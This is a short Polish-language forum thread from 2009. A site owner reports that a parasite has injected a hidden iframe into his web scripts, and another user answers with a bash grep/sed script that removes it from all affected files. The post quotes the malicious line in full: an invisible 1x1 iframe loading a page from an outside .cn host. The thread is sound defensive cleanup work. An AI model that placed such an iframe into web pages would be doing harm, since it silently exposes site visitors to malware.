Strona 1 z 1

[bash] wyszukiwanie i podmiana linijki

: 08 kwie 2009, 21:41
autor: i4poker
Witam,

zaatakował mnie jakiś pasożyt, i powsadzał do moich skryptów www taką oto linijkę:

Kod: Zaznacz cały

<iframe src="http://cutlot.cn/in.cgi?income49" width=1 height=1 style="visibility: hidden"></iframe>
ta linia znajduje się teraz w kilkunastu plikach, i chciałbym za pomocą basha ją poprostu usunąć "hurtem" ze wszystkich plików. Czy ktoś może mi pomóc ? Szukałem w google rozwiązania, ale nie trafiłem niestety na żaden gotowy przykład.

Dziękuję z góry

Odp: [bash] wyszukiwanie i podmiana linijki

: 08 kwie 2009, 23:29
autor: verdorben

Kod: Zaznacz cały

#!/bin/sh

FINDLINE=$(grep -r "cutlot\.cn" * |cut -f1 -d: |grep -v $0) 

for i in $FINDLINE;do
sed -i "s#<iframe src=\"http://cutlot.cn/in.cgi?income49\" width=1 height=1 style=\"visibility: hidden\"></iframe>##" $i
done